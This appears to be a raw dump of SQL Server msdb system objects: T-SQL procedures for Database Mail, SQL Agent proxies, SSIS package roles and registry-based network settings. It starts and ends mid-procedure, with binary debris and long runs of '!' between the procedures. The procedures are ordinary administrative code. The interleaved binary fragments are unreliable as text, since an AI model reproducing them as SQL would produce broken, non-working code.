        @xml_message_body       VARCHAR(max),
        @timediff               INT,
        @rec_timeout            INT,
        @start_time             DATETIME,
        @localmessage           NVARCHAR(256),
        @rc                     INT

    --Init variables
    SELECT @start_time = GETDATE(),
           @timediff = 0,
           @exit = 0,
           @rc = 0

    WHILE (@timediff <= @receive_timeout)
    BEGIN
        -- Delete all messages from @msgs table
        DELETE FROM @msgs

        -- Pick all message from queue
        SET @rec_timeout = @receive_timeout - @timediff
        WAITFOR(RECEIVE conversation_handle, service_contract_name, message_type_name, message_body 
                FROM ExternalMailQueue INTO @msgs), TIMEOUT @rec_timeout

        -- Check if there was some error in reading from queue
        SET @rc = @@ERROR
        IF (@rc <> 0)
        BEGIN
           IF(@rc < 4) -- make sure return code is not in reserved range (1-3)
               SET @rc = 4

           --Note: we will get error no. 9617 if the service queue 'ExternalMailQueue' is currently disabled.
           BREAK
        END

       --If there is no message in the queue return 1 to indicate a timeout
        IF NOT EXISTS(SELECT * FROM @msgs)
        BEGIN
          SET @rc = 1
          BREAK
        END

        -- Create a cursor to iterate through the messages.
        DECLARE msgs_cursor CURSOR FOR
        SELECT conversation_handle, 
            service_contract_name, 
            message_type_name,
            CONVERT(VARCHAR(MAX), message_body)
        FROM @msgs;

        -- Open the cursor
        OPEN msgs_cursor;

        -- Perform the first fetch and store the values in the variables.
        FETCH NEXT FROM msgs_cursor
        INTO 
            @conversation_handle,
            @service_contract_name,
            @message_type_name,
            @xml_message_body

        -- Check @@FETCH_STATUS to see if there are any more rows to fetch.
        WHILE (@@FETCH_STATUS = 0)
        BEGIN
            -- Check if the message is a send mail message
            IF(@message_type_name = N'{//www.microsoft.com/databasemail/messages}SendMail')
            BEGIN
                DECLARE @xmlblob xml
                
                SET @xmlblob = CONVERT(xml, @xml_message_body) 
                    
                SELECT  @mailitem_id = MailRequest.Properties.value('(MailItemId)[1]', 'int') 
                FROM @xmlblob.nodes('
                declare namespace requests="http://schemas.microsoft.com/databasemail/requests";
                /requests:SendMail') 
                AS MailRequest(Properties) 
                				
                -- get account information 
                SELECT @profile_id = profile_id
                FROM sysmail_mailitems 
                WHERE mailitem_id = @mailitem_id

                IF(@profile_id IS NULL) -- mail item has been deleted from the database
                BEGIN
                   -- log warning
                   SET @localmessage = FORMATMESSAGE(14667, @mailitem_id)
                   exec msdb.dbo.sysmail_logmailevent_sp @event_type=2, @description=@localmessage

                   -- Resource clean-up
                   IF(@conversation_handle IS NOT NULL)
                      END CONVERSATION @conversation_handle;
                   
                   -- return code has special meaning and will be propagated to the calling process
                   SET @rc = 2
                END
                ELSE
                BEGIN
                   -- This returns the mail item to the client as multiple result sets
                   EXEC sp_MailItemResultSets
                           @mailitem_id            = @mailitem_id,
                           @profile_id             = @profile_id,
                           @conversation_handle    = @conversation_handle,
                           @service_contract_name  = @service_contract_name,
                           @message_type_name      = @message_type_name
                
                   SET @exit = 1 -- make sure we exit outer loop
                END

                -- always break from the loop upon processing SendMail message
                BREAK
            END
            -- Check if the message is a dialog timer. This is used for account retries
            ELSE IF(@message_type_name = N'http://schemas.microsoft.com/SQL/ServiceBroker/DialogTimer')
            BEGIN
                -- Handle the retry case. - DialogTimer is used for send mail reties
                EXEC @rc = sp_process_DialogTimer
                            @conversation_handle    = @conversation_handle,
                            @service_contract_name  = @service_contract_name,
                            @message_type_name      = N'{//www.microsoft.com/databasemail/messages}SendMail'

                -- Always break from the loop upon processing DialogTimer message
                -- In case of failure return code from procedure call will simply be propagated to the calling process
                SET @exit = 1 -- make sure we exit outer loop
                BREAK
            END
            -- Error case
            ELSE IF (@message_type_name = 'http://schemas.microsoft.com/SQL/ServiceBroker/Error')
            -- Error in the conversation, hence ignore all the messages of this conversation.
                BREAK

            -- This is executed as long as fetch succeeds.
            FETCH NEXT FROM msgs_cursor
            INTO 
                @conversation_handle,
                @service_contract_name,
                @message_type_name,
                @xml_message_body
        END

        CLOSE msgs_cursor;
        DEALLOCATE msgs_cursor;

        -- Check if we read any request or only SSB generated messages
        -- If a valid request is read with or without an error break out of loop
        IF (@exit = 1 OR @rc <> 0)
            BREAK

       --Keep track of how long this sp has been running
        select @timediff = DATEDIFF(ms, @start_time, getdate()) 
    END

    -- propagate return code to the calling process
    RETURN @rc
END
0l~ "8CREATE FUNCTION dbo.fn_sysutility_ucp_get_edition_is_ucp_capable_internal ()
RETURNS bit
AS
BEGIN
   DECLARE @is_instance_ucp_capable bit = 1;
   -- The integer value below corresponds to a SQLBOOT property that identifies whether 
   -- the SKU supports the UCP feature.  
   DECLARE @sqlbootvalue int;
   EXEC @sqlbootvalue = master.dbo.xp_qv '1675385081', @@SERVICENAME;
   IF (@sqlbootvalue != 2)
   BEGIN
      SET @is_instance_ucp_capable = 0;
   END;
   RETURN @is_instance_ucp_capable;
END 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~`<J%e0/+ 
8CREATE PROCEDURE dbo.sp_grant_login_to_proxy
   @login_name        NVARCHAR(256) = NULL,
   @fixed_server_role NVARCHAR(256) = NULL, 
   @msdb_role         NVARCHAR(256) = NULL, 
   -- must specify only one of above parameter to identify the type of login
   @proxy_id             int           = NULL,
   @proxy_name         sysname       = NULL
   -- must specify only one of above parameter to identify the proxy
AS
BEGIN
  DECLARE @retval   INT
  DECLARE @name nvarchar(256)
  DECLARE @flags INT
  DECLARE @sid VARBINARY(85)
  DECLARE @is_sysadmin BIT
  
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @proxy_name              = LTRIM(RTRIM(@proxy_name))
  SELECT @fixed_server_role       = LTRIM(RTRIM(@fixed_server_role))
  SELECT @msdb_role               = LTRIM(RTRIM(@msdb_role))

  -- Turn [nullable] empty string parameters into NULLs
  IF @proxy_name         = '' SELECT @proxy_name = NULL
  IF @login_name         = '' SELECT @login_name = NULL
  IF @fixed_server_role  = '' SELECT @fixed_server_role = NULL
  IF @msdb_role          = '' SELECT @msdb_role  = NULL
    
  EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                                 '@proxy_id',
                                                 @proxy_name OUTPUT,
                                                 @proxy_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  EXECUTE @retval = sp_verify_login_identifiers  @login_name,
                                                 @fixed_server_role,
                                                 @msdb_role,
                                                 @name OUTPUT,
                                                 @sid OUTPUT,
                                                 @flags OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure
    
  -- is login member of sysadmin role?
  SELECT @is_sysadmin = 0
  IF (@login_name IS NOT NULL)
  BEGIN
     EXEC @is_sysadmin = sp_sqlagent_is_srvrolemember N'sysadmin', @login_name -- check role membership 
  END

  IF (@is_sysadmin = 1)
  BEGIN
   -- @name is sysadmin, it cannot granted to proxy
   -- issue a message and do nothing
   RAISERROR(14395, 10, 1, @name)
  END
  ELSE
  BEGIN
   --check if we already added an user for the pair subsystem-proxy
   IF (EXISTS(SELECT * FROM sysproxylogin WHERE proxy_id = @proxy_id 
               AND ISNULL(sid, 0) = ISNULL(@sid,0) 
               AND flags = @flags))
   BEGIN
      RAISERROR(14531, -1, -1)
      RETURN(1) -- Failure
   END

   INSERT INTO sysproxylogin
      (  proxy_id, sid,  flags )
      VALUES
      ( @proxy_id, @sid, @flags)
  END
END
0 78
CREATE PROCEDURE sp_GetAttachmentData
   @attachments           nvarchar(max),
   @temp_table_uid        uniqueidentifier,
   @exclude_query_output  BIT        = 0
AS
BEGIN
    SET NOCOUNT ON
    SET QUOTED_IDENTIFIER ON

    DECLARE @rc             INT,
            @prohibitedExts NVARCHAR(1000),
            @attachFilePath NVARCHAR(260),
            @scIndex        INT,
            @startLocation  INT,
            @fileSizeStr    NVARCHAR(256),
            @fileSize       INT,
            @mailDbName     sysname,
            @uidStr         VARCHAR(36)

    --Get the maximum file size allowed for attachments from sysmailconfig.
    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'MaxFileSize', 
                                                @parameter_value = @fileSizeStr OUTPUT
    --ConvertToInt will return the default if @fileSizeStr is null
    SET @fileSize = dbo.ConvertToInt(@fileSizeStr, 0x7fffffff, 100000)

    --May need this if attaching files
    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'ProhibitedExtensions', 
                                                @parameter_value = @prohibitedExts OUTPUT

    SET @mailDbName = DB_NAME()
    SET @uidStr = CONVERT(VARCHAR(36), @temp_table_uid)

   SET @attachments = @attachments + ';'
   SET @startLocation = 0
   SET @scIndex = CHARINDEX(';', @attachments, @startLocation)

   WHILE (@scIndex <> 0)
   BEGIN
      SET @attachFilePath = SUBSTRING(@attachments, @startLocation, (@scIndex - @startLocation))
      
      -- Make sure we have an attachment file name to work with, and that it hasn't been truncated
      IF (@scIndex - @startLocation > 260 )
      BEGIN
            RAISERROR(14628, 16, 1)
          RETURN 1 
      END

        IF ((@attachFilePath IS NULL) OR (LEN(@attachFilePath) = 0))
        BEGIN
            RAISERROR(14628, 16, 1)
          RETURN 1 
        END

      --Check if attachment ext is allowed 
      EXEC @rc = sp_isprohibited @attachFilePath, @prohibitedExts
      IF (@rc <> 0)
      BEGIN
          RAISERROR(14630, 16, 1, @attachFilePath, @prohibitedExts)
          RETURN 2
      END

        DECLARE  @no_output_int  INT
        SET @no_output_int         = CONVERT(int, @exclude_query_output)

        -- return code checked after select and delete calls
        EXEC @rc = master..xp_sysmail_attachment_load @message       = @mailDbName, 
                                                      @attachments      = @attachFilePath,
                                                      @subject       = @uidStr,
                                                      @max_attachment_size = @fileSize,
                                                      @no_output = @no_output_int
      IF (@rc <> 0)
            RETURN (@rc)
               
        --Get next substring index
      SET @startLocation = @scIndex + 1
      SET @scIndex = CHARINDEX(';', @attachments, @startLocation)

      IF (@scIndex = 0)
         BREAK
   END

    RETURN 0
END
0 8CREATE PROCEDURE [dbo].[sp_ssis_setpackageroles]
  @name sysname,
  @folderid uniqueidentifier,
  @readrole nvarchar (128),
  @writerole nvarchar (128)
AS
  SET NOCOUNT ON
  DECLARE @sid varbinary(85)
  --// Determine if we should INSERT or UPDATE
  SELECT @sid = ownersid FROM sysssispackages WHERE name = @name AND folderid = @folderid
  IF @sid IS NOT NULL
  BEGIN
      --// The row exists, check security
      IF (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1)
      BEGIN
          IF (@sid<>SUSER_SID())
          BEGIN
              RAISERROR (14307, -1, -1, @name)
              RETURN 1  -- Failure
          END
      END
      --// Security check passed, UPDATE now
      DECLARE @readrolesid varbinary(85)
      DECLARE @writerolesid varbinary(85)
      SELECT @readrolesid = [sid] FROM sys.database_principals WHERE [type] = 'R' AND [name] = @readrole
      SELECT @writerolesid = [sid] FROM sys.database_principals WHERE [type] = 'R' AND [name] = @writerole
      IF @readrolesid IS NULL AND @readrole IS NOT NULL
      BEGIN
          RAISERROR (15014, -1, -1, @readrole)
          RETURN 1
      END
      IF @writerolesid IS NULL AND @writerole IS NOT NULL
      BEGIN
          RAISERROR (15014, -1, -1, @writerole)
          RETURN 1
      END
      UPDATE sysssispackages
      SET
          [readrolesid] = @readrolesid,
          [writerolesid] = @writerolesid
      WHERE
          name = @name AND folderid = @folderid
  END
  ELSE
  BEGIN
      RAISERROR (14307, -1, -1, @name)
      RETURN 1  -- Failure
  END
  RETURN 0    -- SUCCESS
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!6m`%<On	
0I0> 8CREATE PROCEDURE sp_convert_jobid_to_char
  @job_id         UNIQUEIDENTIFIER,
  @job_id_as_char NVARCHAR(34) OUTPUT -- 34 because of the leading '0x'
AS
BEGIN
  DECLARE @job_id_as_binary BINARY(16)
  DECLARE @temp             NCHAR(8)
  DECLARE @counter          INT
  DECLARE @byte_value       INT
  DECLARE @high_word        INT
  DECLARE @low_word         INT
  DECLARE @high_high_nybble INT
  DECLARE @high_low_nybble  INT
  DECLARE @low_high_nybble  INT
  DECLARE @low_low_nybble   INT

  SET NOCOUNT ON

  SELECT @job_id_as_binary = CONVERT(BINARY(16), @job_id)
  SELECT @temp = CONVERT(NCHAR(8), @job_id_as_binary)

  SELECT @job_id_as_char = N''
  SELECT @counter = 1

  WHILE (@counter <= (DATALENGTH(@temp) / 2))
  BEGIN
    SELECT @byte_value       = CONVERT(INT, CONVERT(BINARY(2), SUBSTRING(@temp, @counter, 1)))
    SELECT @high_word        = (@byte_value & 0xff00) / 0x100
    SELECT @low_word         = (@byte_value & 0x00ff)
    SELECT @high_high_nybble = (@high_word & 0xff) / 16
    SELECT @high_low_nybble  = (@high_word & 0xff) % 16
    SELECT @low_high_nybble  = (@low_word & 0xff) / 16
    SELECT @low_low_nybble   = (@low_word & 0xff) % 16

    IF (@high_high_nybble < 10)
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('0') + @high_high_nybble)
    ELSE
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('A') + (@high_high_nybble - 10))

    IF (@high_low_nybble < 10)
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('0') + @high_low_nybble)
    ELSE
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('A') + (@high_low_nybble - 10))

    IF (@low_high_nybble < 10)
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('0') + @low_high_nybble)
    ELSE
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('A') + (@low_high_nybble - 10))

    IF (@low_low_nybble < 10)
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('0') + @low_low_nybble)
    ELSE
      SELECT @job_id_as_char = @job_id_as_char + NCHAR(ASCII('A') + (@low_low_nybble - 10))

    SELECT @counter = @counter + 1
  END

  SELECT @job_id_as_char = N'0x' + LOWER(@job_id_as_char)
END
0,
 I8(dateadd(second, -[duration],[end_time]))0_<M ?8(case [action_type] when (0) then 'deploy' when (1) then 'create' when (2) then 'rename' when (3) then 'register' when (4) then 'create objects' when (5) then 'detach' when (6) then 'delete' when (7) then 'data transfer' when (8) then 'disable constraints' when (9) then 'move data' when (10) then 'enable constraints' when (11) then 'copy permissions' when (12) then 'set readonly' when (13) then 'upgrade' when (14) then 'unregister' when (15) then 'update registration' when (16) then 'set readwrite' when (17) then 'disconnect users'  end)0_<M 8(case [dac_object_type] when (0) then 'dacpac' when (1) then 'login' when (2) then 'database'  end)0_<M	 8(case [action_status] when (0) then 'not started' when (1) then 'pending' when (2) then 'success' when (3) then 'fail' when (4) then 'rollback'  end)<H+> x4[msdb].[dbo].[sysutility_ucp_computers_stub]<O> t4[msdb].[dbo].[sysutility_ucp_volumes_stub]<s? n4[msdb].[dbo].[sysutility_ucp_dacs_stub]<@ |4[msdb].[dbo].[sysutility_ucp_smo_servers_stub]<,A x4[msdb].[dbo].[sysutility_ucp_databases_stub]<eB z4[msdb].[dbo].[sysutility_ucp_filegroups_stub]<C x4[msdb].[dbo].[sysutility_ucp_datafiles_stub]<(D v4[msdb].[dbo].[sysutility_ucp_logfiles_stub]<ME 4[msdb].[dbo].[sysutility_ucp_cpu_utilization_stub]<IqF 4[msdb].[dbo].[sysutility_ucp_space_utilization_stub]0nJM %8((1))0ր] Q8(CONVERT([sysname],serverproperty('ServerName')))0ր] R8(CONVERT([sysname],serverproperty('MachineName')))0ր] b8(CONVERT([sysname],serverproperty('ComputerNamePhysicalNetBIOS')))0Eb Q8(CONVERT([sysname],serverproperty('ServerName')))0Eb R8(CONVERT([sysname],serverproperty('MachineName')))0Eb b8(CONVERT([sysname],serverproperty('ComputerNamePhysicalNetBIOS')))0Eb 8(CONVERT([real],case when (0)>([instance_processor_usage_end_ticks]-[instance_processor_usage_start_ticks]) OR (0)>=([instance_collect_time_end_ticks]-[instance_collect_time_start_ticks]) then (0.0) else ((([instance_processor_usage_end_ticks]-[instance_processor_usage_start_ticks])/([instance_collect_time_end_ticks]-[instance_collect_time_start_ticks]))/[num_processors])*(100.0) end))0Eb 8(CONVERT([real],case when (0)>([computer_processor_idle_end_ticks]-[computer_processor_idle_start_ticks]) OR (0)>=([computer_collect_time_end_ticks]-[computer_collect_time_start_ticks]) then (0.0) else ((1.0)-([computer_processor_idle_end_ticks]-[computer_processor_idle_start_ticks])/([computer_collect_time_end_ticks]-[computer_collect_time_start_ticks]))*(100.0) end))0ps Q8(CONVERT([sysname],serverproperty('ServerName')))0ps b8(CONVERT([sysname],serverproperty('ComputerNamePhysicalNetBIOS')))0/
 %8((1))0& x4[msdb].[dbo].[sysutility_ucp_computers_stub]0ծ' t4[msdb].[dbo].[sysutility_ucp_volumes_stub]0( n4[msdb].[dbo].[sysutility_ucp_dacs_stub]0G) |4[msdb].[dbo].[sysutility_ucp_smo_servers_stub]0B* x4[msdb].[dbo].[sysutility_ucp_databases_stub]0f+ z4[msdb].[dbo].[sysutility_ucp_filegroups_stub]0s, x4[msdb].[dbo].[sysutility_ucp_datafiles_stub]0+g- v4[msdb].[dbo].[sysutility_ucp_logfiles_stub]0d[. 4[msdb].[dbo].[sysutility_ucp_cpu_utilization_stub]0O/ 4[msdb].[dbo].[sysutility_ucp_space_utilization_stub]!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! .:
X
 .:XYuoj 	+i	`<MND#0+ 8
CREATE PROCEDURE dbo.sp_revoke_proxy_from_subsystem
   @proxy_id          INT = NULL,
   @proxy_name      sysname = NULL,
   -- must specify only one of above parameter to identify the proxyAS
   @subsystem_id    INT = NULL,
   @subsystem_name sysname = NULL
   -- must specify only one of above parameter to identify the subsystem
AS
BEGIN
   DECLARE @retval   INT
   DECLARE @proxy_account sysname
   SET NOCOUNT ON

   -- Remove any leading/trailing spaces from parameters
   SELECT @subsystem_name          = LTRIM(RTRIM(@subsystem_name))
   SELECT @proxy_name              = LTRIM(RTRIM(@proxy_name))

  -- Turn [nullable] empty string parameters into NULLs
  IF @subsystem_name    = '' SELECT @subsystem_name = NULL
  IF @proxy_name         = '' SELECT @proxy_name = NULL
    
   EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                                  '@proxy_id',
                                                   @proxy_name OUTPUT,
                                                   @proxy_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

   EXECUTE @retval = sp_verify_subsystem_identifiers '@subsystem_name',
                                                  '@subsystem_id',
                                                   @subsystem_name OUTPUT,
                                                   @subsystem_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure
   
   
  --check parametrs validity
   IF (EXISTS(SELECT * FROM sysproxysubsystem WHERE
      subsystem_id = @subsystem_id AND 
      proxy_id     = @proxy_id ))
      BEGIN
        DELETE FROM sysproxysubsystem WHERE
           subsystem_id = @subsystem_id AND 
           proxy_id     = @proxy_id 
      END
   ELSE
      BEGIN
         RAISERROR(14600, -1, -1, @proxy_name, @subsystem_name)
         RETURN(1) -- Failure       
      END   

   RETURN(0)

END
0O@ 8
CREATE PROCEDURE sp_enum_proxy_for_subsystem
   @proxy_id      int = NULL,
   @proxy_name    sysname = NULL,
   -- must specify only one of above parameter to identify the proxy or none
   @subsystem_id  int = NULL,
   @subsystem_name sysname = NULL
   -- must specify only one of above parameter to identify the subsystem or none
AS
BEGIN
   DECLARE @retval   INT
   SET NOCOUNT ON

   -- Remove any leading/trailing spaces from parameters
   SELECT @subsystem_name          = LTRIM(RTRIM(@subsystem_name))
   SELECT @proxy_name              = LTRIM(RTRIM(@proxy_name))

  -- Turn [nullable] empty string parameters into NULLs
  IF @subsystem_name    = '' SELECT @subsystem_name = NULL
  IF @proxy_name         = '' SELECT @proxy_name = NULL

   IF @proxy_name IS NOT NULL OR @proxy_id IS NOT NULL
   BEGIN
      EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                          '@proxy_id',
                                          @proxy_name OUTPUT,
                                          @proxy_id   OUTPUT
      IF (@retval <> 0)
   RETURN(1) -- Failure
   END

   IF @subsystem_name IS NOT NULL OR @subsystem_id IS NOT NULL
   BEGIN
      EXECUTE @retval = sp_verify_subsystem_identifiers '@subsystem_name',
                                       '@subsystem_id',
                                       @subsystem_name OUTPUT,
                                       @subsystem_id   OUTPUT
      IF (@retval <> 0)
      RETURN(1) -- Failure
   END

  SELECT ps.subsystem_id AS subsystem_id, s.subsystem AS subsystem_name, ps.proxy_id AS proxy_id, p.name AS proxy_name
   FROM sysproxysubsystem ps JOIN sysproxies p ON ps.proxy_id = p.proxy_id
  JOIN syssubsystems s ON ps.subsystem_id = s.subsystem_id
   WHERE
        ISNULL(@subsystem_id, ps.subsystem_id) = ps.subsystem_id AND
        ISNULL(@proxy_id,     ps.proxy_id    ) = ps.proxy_id     
END
0; @
8CREATE PROCEDURE [dbo].[sp_validate_user]
    @send_request_user sysname,
    @user_sid varbinary(85) OUTPUT
  WITH EXECUTE AS 'dbo'
AS
BEGIN
    SET NOCOUNT ON
    -- And make sure ARITHABORT is on. This is the default for yukon DB's
    SET ARITHABORT ON

    declare @groupSid varbinary(85)
    declare @temp table
    ([account name] sysname, 
    [type] char(8),
    [privilege] char(9),
    [mapped login name] sysname,
    [permission path] sysname null)

    declare @sidlist table
    ([account name] sysname,
     [accountsid] varbinary(85) null,
     [permission path] sysname null)

    SET @user_sid = NULL
    SET @groupSid = NULL

    -- Lookup the Windows Group membership, if any, that grants this
    -- user access to SQL Server. xp_logininfo may fail if the sql
    -- server service account cannot talk to the domain controller to
    -- validate the windows username, or it may fail if the
    -- @send_request_user is not a valid windows user or group name.
    BEGIN TRY 
        insert @temp exec master.dbo.xp_logininfo @send_request_user, 'all'
        -- For a given account name, Get account name -> group accountsid mapping to a temp table variable
        insert @sidlist
            select [account name], suser_sid([permission path]),[permission path]
            from @temp
    END TRY
    BEGIN CATCH
        RETURN 2
    END CATCH

    -- for a given account name, there has to be atleast one account sid that is not null and
    -- there has to be atleast one mail profile for the list of account sids
    IF ((EXISTS(SELECT [account name] 
                FROM @sidlist
                WHERE accountsid is not NULL)
    AND (EXISTS(SELECT profile_id 
                FROM msdb.dbo.sysmail_principalprofile pp, @sidlist s
                WHERE s.accountsid = pp.principal_sid))))

    BEGIN
        -- Get the first account's sid that meets following criteria
        --  1) return first default profile (if available)
        --  2) if no default profile is  defined, then return the first non-default profile for this account
        SELECT TOP 1  @groupSid = accountsid 
        FROM @sidlist s, msdb.dbo.sysmail_principalprofile pp
        WHERE s.accountsid is not NULL
        AND s.accountsid = pp.principal_sid
        ORDER BY is_default DESC
    END

    -- Lookup a default profile for the Group. If there is one,
    -- then use the group's mail profile.
    IF (@groupSid IS NOT NULL)
    BEGIN
        SET @user_sid = @groupSid
        RETURN 0
    END
    RETURN 1
END
0_ P8
=h>G0kK( +8(getdate())0, %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h`<-F&0" +8(getdate())0 8
CREATE PROCEDURE [dbo].[sp_read_settings]
@name sysname = NULL OUTPUT, 
@setting_id int = NULL OUTPUT
AS
BEGIN
  IF ((@name IS NULL)     AND (@setting_id IS NULL)) OR
     ((@name IS NOT NULL) AND (@setting_id IS NOT NULL))
  BEGIN
    RAISERROR(14524, -1, -1, '@name', '@setting_id')
    RETURN(1) -- Failure
  END

  IF (@setting_id IS NOT NULL)
  BEGIN
    SELECT @name = CASE @setting_id
      WHEN 1 THEN 'ExtendedProtection'
      WHEN 2 THEN 'ForceEncryption'
      WHEN 3 THEN 'AcceptedSPNs'
      ELSE NULL
      END
      
      IF (@name IS NULL) RETURN (2) -- Unknown key
  END
  ELSE
  BEGIN
    IF (@name collate SQL_Latin1_General_CP1_CI_AS) != 'ExtendedProtection'
      AND (@name collate SQL_Latin1_General_CP1_CI_AS) != 'ForceEncryption'
      AND (@name collate SQL_Latin1_General_CP1_CI_AS) != 'AcceptedSPNs'
      RETURN (2) -- Unknown key
  END
  
  DECLARE @hive nvarchar(32), @key nvarchar(256)
  SET @hive=N'HKEY_LOCAL_MACHINE' 
  SET @key=N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib'
  
  Execute master.sys.xp_instance_regread @hive, @key, @name
  
  RETURN (0)
END
unt context)
